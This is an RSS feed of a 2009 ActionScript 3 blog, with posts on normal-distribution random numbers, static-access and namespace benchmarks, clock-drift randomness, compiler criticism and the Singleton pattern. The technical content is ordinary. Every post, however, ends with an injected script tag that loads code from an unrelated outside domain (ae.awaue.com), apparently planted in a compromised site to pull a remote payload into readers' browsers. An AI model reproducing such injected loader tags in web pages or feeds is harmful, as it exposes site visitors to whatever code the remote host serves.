<p>The <a title="Normal distribution, from Wikipedia" href="http://en.wikipedia.org/wiki/Normal_distribution">normal distribution</a> is one of those things one should be acquainted with if about to deal with statistics, simulations or even procedural art. Anyhow, the main problem with normal pseudo-random numbers in flash is obtaining them, because the usual output of every prng follows the <a title="Uniform distribution (continuous), from Wikipedia" href="http://en.wikipedia.org/wiki/Uniform_distribution_(continuous)">uniform distribution</a> and one has to map that output to the distribution of interest. The reasonable solutions I have explored are three; one is using lookup tables, which is self-explanatory and very inexpensive, but unfortunately also painfully boring.</p>
<p>Another is making use of the <a title="Central limit theorem, from Wikipedia" href="http://en.wikipedia.org/wiki/Central_limit_theorem">central limit theorem</a>, which in real life boils down to <a title="The Amazing Normal Distribution Function, from YouTube" href="http://www.youtube.com/watch?v=xDIyAOBa_yU">this</a>. One can take, say, 10 numbers extracted from a uniformly distributed population (read Math.random) and take their average, whose sampling distribution will approximate to some extent the normal distribution.</p>
<p>I fancy using the <a title="Box–Muller transform, from Wikipedia" href="http://en.wikipedia.org/wiki/Box-Muller_transform">Box-Muller transform</a> or, more specifically, the <a title="Marsaglia polar method, from Wikipedia" href="http://en.wikipedia.org/wiki/Marsaglia_polar_method">Marsaglia polar method</a>, which is a less computationally expensive variation of the former. Both take a pair of uniformly distributed inputs and map them to two (independent and uncorrelated) standard normal outputs. Effectively, this means that one could take any prng, be it Math.random, a <a title="Park–Miller random number generator, from Wikipedia" href="http://en.wikipedia.org/wiki/Park%E2%80%93Miller_random_number_generator">Park-Miller</a> <a title="Linear congruential generator, from Wikipedia" href="http://en.wikipedia.org/wiki/Linear_congruential_generator">lcg</a> (again, check out the one on <a title="A good pseudo random number generator, by Michael Baczynski" href="http://lab.polygonal.de/2007/04/21/a-good-pseudo-random-number-generator-prng/">Polygonal labs</a>), a <a title="Mersenne twister, from Wikipedia" href="http://en.wikipedia.org/wiki/Mersenne_twister">Mersenne twister</a> or whatever, and map its output to the standard normal distribution.</p>
<p>For better performance, the mapping algorithm could be built into the prng so that all operations are performed within one call. This is even more valid for the Marsaglia method, because it relies on rejective sampling, which means that it rejects a pair of random inputs every now and then and requests another. The code snippets below demonstrate the Marsaglia transform built into a Park-Miller prng, whose core logic consists in just a couple of lines:</p>
<pre class="prettyprint">public class ParkMiller
{
	/**
	 *	Seeds the prng.
	 */
	private var s : int;
	public function seed ( seed : uint ) : void
	{
		s = seed &gt; 1 ? seed % 2147483647 : 1;
	}

	/**
	 *	Returns a Number ~ U(0,1)
	 */
	public function uniform () : Number
	{
		return ( ( s = ( s * 16807 ) % 2147483647 ) / 2147483647 );
	}</pre>
<p>When you call uniform(), the seed value is multiplied by 16807 (a <a title="Primitive root modulo n, from Wikipedia" href="http://en.wikipedia.org/wiki/Primitive_root_modulo_n">primitive root modulo</a>) and set to the remainder of the product divided by 2147483647 (a <a title="Mersenne prime, from Wikipedia" href="http://en.wikipedia.org/wiki/Mersenne_prime">Mersenne prime</a>, 2^31-1, or the int.MAX_VALUE). This new value is returned as a Number in the range (0,1).</p>
<p>The histogram below illustrates the uniform distribution of the prng output:</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_uniform_564644640"
			class=""
			width="100%"
			height="100">
	<param name="movie" value="http://blog.controul.com/swf/uniform.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.controul.com/swf/uniform.swf"
			name="fm_uniform_564644640"
			width="100%"
			height="100">
	<!--<![endif]-->
		
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p>The uniform pseudo-random values will be fed to the Marsaglia transform, whose simple algorithm is well described in its <a title="Marsaglia polar method, from Wikipedia" href="http://en.wikipedia.org/wiki/Marsaglia_polar_method">Wikipedia article</a>. An as3 implementation with inlined uniform() getters could look like this:</p>
<pre class="prettyprint">	/**
	 *	Returns a Number ~ N(0,1);
	 */
	private var ready : Boolean;
	private var cache : Number;
	public function standardNormal () : Number
	{
		if ( ready )
		{				//  Return a cached result
			ready = false;		//  from a previous call
			return cache;		//  if available.
		}

		var	x : Number,		//  Repeat extracting uniform values
			y : Number,		//  in the range ( -1,1 ) until
			w : Number;		//  0 &lt; w = x*x + y*y &lt; 1
		do
		{
			x = ( s = ( s * 16807 ) % 2147483647 ) / 1073741823.5 - 1;
			y = ( s = ( s * 16807 ) % 2147483647 ) / 1073741823.5 - 1;
			w = x * x + y * y;
		}
		while ( w &gt;= 1 || !w );

		w = Math.sqrt ( -2 * Math.log ( w ) / w );

		ready = true;
		cache = x * w;			//  Cache one of the outputs
		return y * w;			//  and return the other.
	}
}</pre>
<p>The following histogram displays the distribution of this new getter:</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_normal_1485396741"
			class=""
			width="100%"
			height="100">
	<param name="movie" value="http://blog.controul.com/swf/normal.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.controul.com/swf/normal.swf"
			name="fm_normal_1485396741"
			width="100%"
			height="100">
	<!--<![endif]-->
		
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p>Performance-wise, there is some ground for reducing the algorithm&#8217;s overhead. One could, for ranges of values, approximate the square root with, for example, an inlined <a title="Methods of computing square roots, from Wikipedia" href="http://en.wikipedia.org/wiki/Babylonian_method#Babylonian_method">Babylonian calculation</a>. The <a title="Natural logarithm, from Wikipedia" href="http://en.wikipedia.org/wiki/Natural_logarithm#Numerical_value">natural logarithm</a> can also be easily approximated for values not too close to zero. Still, every approximation comes at the cost of some precision, and the above implementation will be fast enough for most uses; on my notebook I get a million numbers for about 350 milliseconds.</p>
<p>Finally, the <a title="Ziggurat algorithm" href="http://en.wikipedia.org/wiki/Ziggurat_algorithm">Ziggurat algorithm</a> is an alternative to the Marsaglia transform, and has the promise of better perfomance if well optimised. Still, I personally haven&#8217;t managed to make it work all that great in as3.</p>
<p>Source: <a title="ParkMiller.as" href="http://blog.controul.com/as3/ParkMiller.as">ParkMiller.as</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.controul.com/2009/04/standard-normal-distribution-in-as3/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>How slow is static access in as3/avm2 (exactly)</title>
		<link>http://blog.controul.com/2009/04/how-slow-is-static-access-in-as3avm2-exactly/</link>
		<comments>http://blog.controul.com/2009/04/how-slow-is-static-access-in-as3avm2-exactly/#comments</comments>
		<pubDate>Thu, 09 Apr 2009 21:25:25 +0000</pubDate>
		<dc:creator>hristo</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[Performance]]></category>

		<guid isPermaLink="false">http://blog.controul.com/?p=115</guid>
		<description><![CDATA[A benchmark of static access performance in as3. Method calls and property getting/setting times are measured for both the 'this' scope and access through a Class object.]]></description>
			<content:encoded><![CDATA[<p>A reader&#8217;s comment to my <a title="The much dreaded Singleton" href="http://blog.controul.com/2009/02/the-much-dreaded-singleton/">previous post on Singletons</a> asked for some evidence that static access in as3 was indeed &#8217;10 times&#8217; slower. I remembered having read the 10 times thing somewhere, but couldn&#8217;t find anything by quick googling. Uneasy, I decided to put up a quick benchmark. I went through more than one surprise. The code can be found <a title="Benchmark sources" href="http://blog.controul.com/wp-content/uploads/2009/04/staticbenchmark.zip">here</a>.</p>
<p>Four tests are being performed at 1m iterations:</p>
<p>1] The first test compares access times to a propety of the calling object and a static property of the class definition. Both are accessed without &#8216;.&#8217; opertators: they are simply referenced by their names.</p>
<p>2] The second test does the same, but for propeties of a referenced object. The object&#8217;s property is accessed with a typedReference.propertyName syntax, and the static property through a ClassName.propertyName syntax.</p>
<p>3] The third test compares call times for a method of the calling object and a static method of the class definition. The access syntax is the same as in the first test.</p>
<p>4] The last, fourth test compares method call times on a referenced object. This is done like in the second test.</p>
<p>Without thinking too much about it, I compiled in debug mode, and ran the swf in fp10 debug. Output was as follows (imagine my surprise):</p>
<pre>Getting &amp; setting a property of this object :          104 millisec
Getting &amp; setting a static property of this class :    109 millisec
Static access is slower by :                           5%

Getting &amp; setting a property of another object :       106 millisec
Getting &amp; setting a static property of another class : 178 millisec
Static access is slower by :                           68%

Calling a method of this object :                      317 millisec
Calling a static method of this class :                318 millisec
Static access is slower by :                           0%

Calling a method of another object :                   311 millisec
Calling a static method of another class :             397 millisec
Static access is slower by :                           28%</pre>
<p>Thus no slowdown at all! I was already writing my apology to the reader when I realized my mistake. I recompiled the benchmark in release mode; while still running in fp10 debug, numbers changed dramatically:</p>
<pre>Getting &amp; setting a property of this object :          7 millisec
Getting &amp; setting a static property of this class :    10 millisec
Static access is slower by :                           43%

Getting &amp; setting a property of another object :       8 millisec
Getting &amp; setting a static property of another class : 94 millisec
Static access is slower by :                           1075%

Calling a method of this object :                      90 millisec
Calling a static method of this class :                93 millisec
Static access is slower by :                           3%

Calling a method of another object :                   92 millisec
Calling a static method of another class :             176 millisec
Static access is slower by :                           91%</pre>
<p>Finally, I opened the swf with fp10 release. Things sped up even more, and the static access overhead increased its significance in % terms. Funnily, there was one exception to the reduced timinings, in fact getting and setting a static property of another class proved to be slower in the release player than in the debug player. I would blame this on my selection of players, even though I am pretty confident I got the debug and release players in the same zip from <a title="Adobe Flash Player Downloads, at Adobe.com" href="http://www.adobe.com/support/flashplayer/downloads.html#fp10">the Adobe website</a>.</p>
<pre>Getting &amp; setting a property of this object :          7 millisec
Getting &amp; setting a static property of this class :    10 millisec
Static access is slower by :                           43%

Getting &amp; setting a property of another object :       6 millisec
Getting &amp; setting a static property of another class : 133 millisec
Static access is slower by :                           2117%

Calling a method of this object :                      10 millisec
Calling a static method of this class :                13 millisec
Static access is slower by :                           30%

Calling a method of another object :                   12 millisec
Calling a static method of another class :             142 millisec
Static access is slower by :                           1083%</pre>
<p>The moral is twofold. On the one hand, accessing the static stuff of a class from within the scope of the class itself is not too expensive (which also means that Borg designs in as3 are not all that much of a bad idea performance-wise [I was wrong]), but accessing the static stuff on other classes through their Class objects is indeed very slow and should be, clearly, avoided when performance is at stake. The other is to remember the <a title="Benchmarking gotchas, by Polygonal labs" href="http://lab.polygonal.de/2009/01/21/benchmarking-gotchas/">&#8216;Benchmarking gotchas&#8217;</a>: or to always compile benchmarks in release mode and run them in the release player: debug mode/player can produce very distorted timings.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.controul.com/2009/04/how-slow-is-static-access-in-as3avm2-exactly/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>True random numbers in flash/as3: measuring clock drift</title>
		<link>http://blog.controul.com/2009/04/true-random-numbers-in-flash-clock-drift/</link>
		<comments>http://blog.controul.com/2009/04/true-random-numbers-in-flash-clock-drift/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 02:06:04 +0000</pubDate>
		<dc:creator>hristo</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[Algorithms]]></category>
		<category><![CDATA[Stochastic]]></category>

		<guid isPermaLink="false">http://blog.controul.com/?p=82</guid>
		<description><![CDATA[An algorithm for hardware/real random number generation in Flash/as3 through measuring system clock and cpu time drift.]]></description>
			<content:encoded><![CDATA[<p>This is one of those things that I will surely never come to use; it crossed my mind a couple of days ago though, and I though it would be worth putting together and then up here.</p>
<p>There are a many potential sources of true randomness in flash. An example would be listening for microphone or camera noise; such an approach is however contingent on access to a|v hardware. <a title="Entropy (computing), from Wikipedia" href="http://en.wikipedia.org/wiki/Entropy_(computing)">Entropy</a> can also be pooled from simple user interactions, such as mouse movements. Still, any entropy pool could run dry after a series of requests if it is not given the chance to rebuild.</p>
<p>Measuring <a title="Clock Drift, from Wikipedia" href="http://en.wikipedia.org/wiki/Clock_drift">clock/cpu drift</a> is very expensive, but provides pretty unpredictable output and, because random bits are generated and not pooled, does not limit the number of random bits that one could obtain at any given time.</p>
<pre class="prettyprint">package com.controul.math.rng
{
	import flash.utils.getTimer;
	public class ClockDrift
	{
		public function random ( bits : uint = 32 ) : uint
		{
			if ( bits &gt; 32 )
				bits = 32;
			var	r : uint = 0,
				i : uint = 0,
				t : uint = getTimer ();
			for ( ;; )
			{
				if ( t != ( t = getTimer () ) )
				{
					if ( i &amp; 1 )
						r |= 1;
					bits --;
					if ( bits &gt; 0 )
					{
						i = 0;
						r &lt;&lt;= 1;
					}
					else
						break;
				}
				i ++;
			}
			return r;
		}
	}
}</pre>
<p>What the algorithm does is to count the number of loop iterations that happen during a millisecond, and then to set the next bit to true if this count is odd, or to false if it&#8217;s even. As it takes a millisecond to produce every single random bit, a random uint (zero to 0xffffffff) takes 32 milliseconds to get generated.</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_clockdrift_479974443"
			class="float-right"
			width="256"
			height="256">
	<param name="movie" value="http://blog.controul.com/swf/clockdrift.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.controul.com/swf/clockdrift.swf"
			name="fm_clockdrift_479974443"
			width="256"
			height="256">
	<!--<![endif]-->
		
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p>Such an extremely slow solution may be most useful as a last resort for keeping an entropy pool from running dry; the pool can rely on a mix of other stuff, like user mouse movements, download speed sampling, a/v hardware noise, enterframe timing, etc to provide enough random bits for occasional requests.</p>
<p>Anyway, only hardcore security stuff, such as the <a title="as3crypto, at GoogleCode" href="http://code.google.com/p/as3crypto/">as3crypto</a> framework, needs unpredictable &#8216;random&#8217; number generation. For non-cryptographic uses, one should go for a regular <a title="Pseudorandom number generator, from Wikipedia" href="http://en.wikipedia.org/wiki/PRNG">prng</a>, be it Math.random, or one with a specifiable seed value, such as the <a title="A good Pseudo-Random Number Generator (PRNG), by Michael Baczynski" href="http://lab.polygonal.de/2007/04/21/a-good-pseudo-random-number-generator-prng/">Park-Miller</a> prng supplied by <a title="Polygonal labs" href="http://lab.polygonal.de/">polygonal labs</a>.</p>
<p>Source: <a title="ClockDrift.as" href="http://blog.controul.com/as3/ClockDrift.as">ClockDrift.as</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.controul.com/2009/04/true-random-numbers-in-flash-clock-drift/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A better as3 compiler? The logical consequences that never happened</title>
		<link>http://blog.controul.com/2009/03/the-logical-consequences-that-never-happened/</link>
		<comments>http://blog.controul.com/2009/03/the-logical-consequences-that-never-happened/#comments</comments>
		<pubDate>Sun, 22 Mar 2009 16:16:24 +0000</pubDate>
		<dc:creator>hristo</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[Chitchat]]></category>
		<category><![CDATA[Compiler]]></category>

		<guid isPermaLink="false">http://blog.controul.com/?p=67</guid>
		<description><![CDATA[A call for community awareness: the as3 compiler has been open source for a year already, but the promised, community driven, better as3 compiler has still not been branched out.]]></description>
			<content:encoded><![CDATA[<p>More than an year ago, <a title="Joa Ebert's blog" href="http://blog.joa-ebert.com/">Joa Ebert</a> posted a brief summary of the &#8220;<a title="AS3 compiler open-source: the logical consequences, by Joa Ebert" href="http://blog.joa-ebert.com/2008/02/28/flex-compiler-open-source-the-logical-consequences/">logical consequences</a>&#8221; of Adobe&#8217;s opening of the Flex SDK sources: now that the sources for the actionscript compiler were open, the community was free to branch out a more advanced one. Function inlining, mixing as3 and opcodes, optimised integer math (I do NOT want to <a title="Avoid ints in ActionScript, by Sho Kuwamoto" href="http://kuwamoto.org/2006/06/15/avoid-ints-in-actionscript/">work with Numbers</a>), compile-time evaluated constant expressions; the list of possible enhancements is long. Why bother? Because the as3 compiler makes little use of the avm2&#8242;s true performance potential (things got worse with fp10 and the unavailable to as3 <a title="Alchemy, from Adobe Labs" href="http://labs.adobe.com/technologies/alchemy/">Alchemy</a> bytecodes), performs no compile-time optimisation of your code and outputs redundant bytecode overall, especially in the case of integer arithmetics.</p>
<p>An year passed, and noone really raised the question again. Well, maybe kind of. Alchemy did create quite a buzz, due to the obvious absurdity of c++ being quicker than as3 when compiled down to <abbr title="Actionscript ByteCode">abc</abbr>, and some of the mighty few <a title="Adobe Alchemy, is it ActionScript heresy, by UNITZEROONE" href="http://www.unitzeroone.com/blog/2008/11/28/adobe-alchemy-is-it-actionscript-heresy/">did start thinking about how (and why) on earth would such a thing be possible</a>. Some <a title="Understanding Adobe Alchemy, by Automata" href="http://www.automatastudios.com/2008/11/21/understanding-adobe-alchemy/">explainations came along</a>, and the dark magic of the LLVM kind of concealed the fact that the one and only as3 compiler is crap. Note that the Alchemy compiler overcomes the shortcomings of the as3 compiler by outputing assembler when necessary.</p>
<p>Well, if the dreamed of as3 compiler is a far-fetched thing to strive for, Joa Ebert&#8217;s <a title="as3c at Google Code" href="http://code.google.com/p/as3c/">as3c</a> gave the community a glimpse into the potential for extention of the existing asc. As far as I know, as3c is still the only way to inline assembler in the body of a program that will boil down to abc. Joa&#8217;s efforts have been pretty much discontinued however and some opcodes are left unimplemented. Also, the as3c workflow is kind of heavy &#8211; one could hardly wire as3c into FlashDevelop for instance.</p>
<p>On the other hand, there is a way to produce highly optimised abc, if one is ready to give up the language. <a title="Nicolas Cannasse's blog" href="http://ncannasse.fr/">Nicolas Cannasse</a>&#8216;s <a title="The haXe website" href="http://haxe.org">haXe</a> has pretty much all the language features an as3 coder craves for, such as <a title="Enums, from haXe Language Reference" href="http://haxe.org/ref/enums">enums</a>, <a title="Type Parameters, from haXe Language Reference" href="http://haxe.org/ref/type_params">type generics</a> and, recently, <a title="Virtual Memory API, by Nicolas Cannasse" href="http://ncannasse.fr/blog/virtual_memory_api">an api to the new avm2 Alchemy-related opcodes</a>. What trully rocks the boat is that the haXe compiler has ability to boost code performance in the avm2 to a much greater extent than what compiled as3 gets: indeed, the haXe compiler boasts with features such as function and constant inlining, optimised integer math, and also <a title="haXe 2.03 with SWC Output, by Nicolas Cannasse" href="http://ncannasse.fr/blog/haxe_swc">a strong expression optimiser</a> that does some last minute code refactoring for performance. Finally, the <a title="hxformat at Google Code" href="http://code.google.com/p/hxformat/">haXe format library</a> even enables you to write in assembler, which you can assemble to bytecode, load an run on the go.</p>
<p><a title="Virtual Memory API, by Nicolas Cannasse" href="http://ncannasse.fr/blog/virtual_memory_api"></a></p>
<p>But seriously, if one guy can design an entirely new language, able to compile down to highly optimised avm2 bytecode, with all the language features missing in as3, why can&#8217;t an entire community (and an interested corporation, for that matter) produce a better compiler for the already exisiting as3? Obviously, it is noone&#8217;s responsibility to take on this task (community-wise; Adobe should take the matter seriously); but in my humble opinion it&#8217;s everyone&#8217;s responsibility to be talking about it.</p>
<p>I believe that we should put forth a community project which would at least define some of the parameters of the as3 compiler of tomorrow.</p>
<p>P.S. A question about haXe and <a title="More File Formats, by Nicolas Cannasse" href="http://ncannasse.fr/blog/more_file_formats">format.abc</a>: Nicolas, is there no way to make bytecode insertion happen at compile time in haXe (as opposed to during runtime with the format library?) Generating and loading swf-s is extremely sweet, but ties one down to writing entire classes in opcodes; mixing haXe and opcodes, with an asm{} keyword for instance, would be much more flexible, and absolutely amazing.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.controul.com/2009/03/the-logical-consequences-that-never-happened/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Flash/as3 custom namespaces and performance: the name qualifier is slow</title>
		<link>http://blog.controul.com/2009/03/the-name-qualifier-is-slow/</link>
		<comments>http://blog.controul.com/2009/03/the-name-qualifier-is-slow/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 20:52:23 +0000</pubDate>
		<dc:creator>hristo</dc:creator>
				<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[Performance]]></category>

		<guid isPermaLink="false">http://blog.controul.com/?p=52</guid>
		<description><![CDATA[A benchmark of the two ways to access a property in a custom namespace in as3, name qualifiers and the 'use namespace' statement, against access times for properties in the protected and public 'built-in' namespaces.]]></description>
			<content:encoded><![CDATA[<p>I was thinking about how to organise the classes of one of the frameworks I&#8217;m working on these days. Two options: either dump everything in the same package, and make everything internal, or use <a title="Namespaces explained at Big Spaceship Labs." href="http://labs.bigspaceship.com/2007/04/09/as3-namespaces/">namespaces</a> to keep the API clean.</p>
<p>So, yeah, namespaces sounded like the right way to go. A lot of the functionality in the framework involves deep tree tranversal however, so I found myself thinking about the performance implications of using custom namespaces on &#8216;hot&#8217; properties.</p>
<p>I put up a little benchmark to see whether namespaces slow down code execution. It runs four tests: a for loop that extracts a value from a public property of the object of the calling method, one that accesses a protected property of the object&#8217;s superclass, one that accesses a property in a custom namespace after a &#8216;use namespace&#8217; statement, and one that accesses the property with the :: name qualifier. You can get the sources <a title="Benchmark sources and swf." href="http://blog.controul.com/wp-content/uploads/2009/03/namespace-performance.zip">here</a>.</p>
<p>On my notebook, the test (running on release player 10) output the following:</p>
<pre>Accessing a property in the public namespace.
&gt;	Running test @ 1000000 iterations ...
	Execution took  0.003  seconds.
Accessing a property of the superclass in the protected namespace.
&gt;	Running test @ 1000000 iterations ...
	Execution took  0.003  seconds.
Accessing a property in a custom namespace.
&gt;	Running test @ 1000000 iterations ...
	Execution took  0.003  seconds.
Accessing a property in a custom namespace with the :: name qualifier.
&gt;	Running test @ 1000000 iterations ...
	Execution took  0.263  seconds.</pre>
<p>Properties in the custom namespace were just as quick to access as those in the &#8216;built-in&#8217; namespaces when made available with a &#8216;use namespace&#8217;, and ridiculously expensive when accessed with the name qualifier.</p>
<p>Brief, avoid using :: in loops when performance is at stake.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.controul.com/2009/03/the-name-qualifier-is-slow/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>The much dreaded Singleton</title>
		<link>http://blog.controul.com/2009/02/the-much-dreaded-singleton/</link>
		<comments>http://blog.controul.com/2009/02/the-much-dreaded-singleton/#comments</comments>
		<pubDate>Fri, 27 Feb 2009 04:47:58 +0000</pubDate>
		<dc:creator>hristo</dc:creator>
				<category><![CDATA[Actionscript]]></category>

		<guid isPermaLink="false">http://blog.controul.com/?p=25</guid>
		<description><![CDATA[A discussion of the much despised Singleton construct, put in the perspective of Flash UI programming and memory management. A proposal for a quick and easy implementation of Singletons in as3, and a proposed design for an abstract Singleton that counters some of the short-comings of Singletons in terms of loose coupling.]]></description>
			<content:encoded><![CDATA[<p>I have come across so much contempt towards the <a title="Singleton pattern from Wikipedia" href="http://en.wikipedia.org/wiki/Singleton_pattern">Singleton</a>, it&#8217;s almost scary. Singletons are crucified all over the place, and whilst there are <a title="We Don’t Need No Stinkin’ Singletons: Why to Avoid the Singleton Pattern in ActionScript 3.0 Programming, by Bill Sanders" href="http://www.as3dp.com/2008/11/26/we-don%e2%80%99t-need-no-stinkin%e2%80%99-singletons-why-to-avoid-the-singleton-pattern-in-actionscript-30-programming/">very sound theoretical reasons</a> to avoid abusing the pattern, the Singleton has a healthy place in ui programming.</p>
<p>More often than not development for Flash puts us against unique instances of things. Usually, this happens in the context of UI programming: a single stage, a single mouse, etc. Some aspects of many applications are also better off built centralised, for sometimes one simply wants to avoid two objects performing clashing updates on something (a good example is animation of gui components and overwriting of property interpolation tasks in tweening engines). In such situations, one who blindly aims to avoid building a Singleton most probably ends up isolating the shared state needed to sync the instances in static vars and methods, achieving (in the best case) something that looks more or less like a <a title="Borg and the Singleton in AS3, by Christopher Allen-Poole" href="http://www.actionscript.org/resources/articles/802/1/Design-patters----Borg-and-the-Singleton-in-AS3/Page1.html">Borg design</a>. New catchy notions, same old enemy &#8211; global state.</p>
<h3>Speedy</h3>
<p>This has nothing to do with loose coupling or design patterns, but a Singleton is usually a better alternative to static vars and methods for at least one big reason. Static stuff in Actionscript is very slow to access. <span style="text-decoration: line-through;">(What was it, 10 times slower?)</span> A call to a method on a singleton will make use of one static var lookup &#8211; the reference to the singleton &#8211; and that only if a reference to the object is not already locally available. The same method, if declared static, will probably have to access at least one more static variable in order to read and write global stuff. <em>[EDIT: This is not entirely correct, see </em><a title="How slow is static access in as3/avm2 (exactly)" rel="bookmark" href="http://blog.controul.com/2009/04/how-slow-is-static-access-in-as3avm2-exactly/"><em>the follow-up benchmark on static access performance.</em></a><em>]</em></p>
<p>It seems that in <a href="http://en.wikipedia.org/wiki/Singleton_pattern#Python">Python</a> sharing state among instances is considered more elegant than using Singletons. One could easily extend the same logic to Actionscript: more transparent code, good-looking instantiation with new, etc. Still, if more than one static var is to be accessed during method execution on such objects, or if the objects are to be created and discarded on a usual basis, performance-wise, Singletons will most likely be a faster alternative.</p>
<p>In this context, let me demonstrate my personal approach to implementing a Singleton:</p>
<pre class="prettyprint">public class Singleton
{
	public static const instance : Singleton = new Singleton ();
	public static function Singleton ()
	{
		if ( instance ) throw new Error ( "Already instantiated." );
	}
}</pre>
<p>My trick looks like an exploit and a generally terrible idea (now how could a constant change its value?), but works perfectly fine AND avoids the need for the additional overhead from a <a title="Grant Skinner's Singleton implementation" href="http://www.gskinner.com/blog/archives/2006/07/as3_singletons.html">getInstace ()</a> <a title="Ted Patrick's Singleton implementation" href="http://www.onflex.org/ted/2007/01/singleton-in-mxml.php">method call</a> and from accessing a private static var to return the instance.</p>
<h3>At least some loose coupling please</h3>
<p>Static vars and methods, shared state among instances, and Singletons are almost equally deadly to loose coupling. In all of those cases, typing and access issues hinder substitution of the class in question in code variations or upgrades.</p>
<p>The above is completely true, unless one decides to take the Singleton pattern a bit beyond what it usually looks like and to add a layer of abstraction:</p>
<pre class="prettyprint">public class AbstractSingleton
{
	private static var instance : AbstractSingleton;
	public static function getInstance () : AbstractSingleton
	{
		if ( !instance ) throw new Error ( "Not instantiated." );
		return instance;
	}
	public function AbstractSingleton ()
	{
		if ( instance ) throw new Error ( "Already instantiated." );
		instance = this;
	}
	public function abstractMethod ( ... ) : *
	{
		//	to be overriden.
	}
	...
}</pre>
<p>If used as intended this should do the trick. One could probably do a few things to strengthen the implementation, preventing instantiation of the abstract class, even adding some sort of auto-instantiation try-catch trick for the child classes, and so on and so forth. What&#8217;s important however is that this &#8216;abstract&#8217; Singleton pseudo-pattern provides freedom in chosing which concrete object to instantiate at app start, and that&#8217;s already quite a gain in terms of loose-coupling.</p>
<h3>Singletons can be rather healthy in a UI context</h3>
<p>Again, Singletons are a good thing in the context of gui programming. All voluminous and immutable objects are healthy candidates for becoming part of the global state; a provider for a huge and static bitmap is a great example, also an audio mixer for button noises and ambient loops illustrates the point, for there is an absolute benefit of keeping those globally accessible and limit them to a single instance &#8211; there is a guarantee that the underlying bulky resource will be loaded only once in the memory.</p>
<p>Also, when an application relies heavily on client/server interactions, and when these put ui-responsiveness at stake, a globally accessible remoting service, be it static, Singleton or Borg, will enable the programme to centrally cache repetitive interactions&#8217; results.</p>
<h3>An edit to my boring conclusion</h3>
<p>Instead of my previous empty conclusion, I&#8217;ll post someday an example of how one could actually get unmatchable loose coupling with the help of a Singleton registry for services.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.controul.com/2009/02/the-much-dreaded-singleton/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
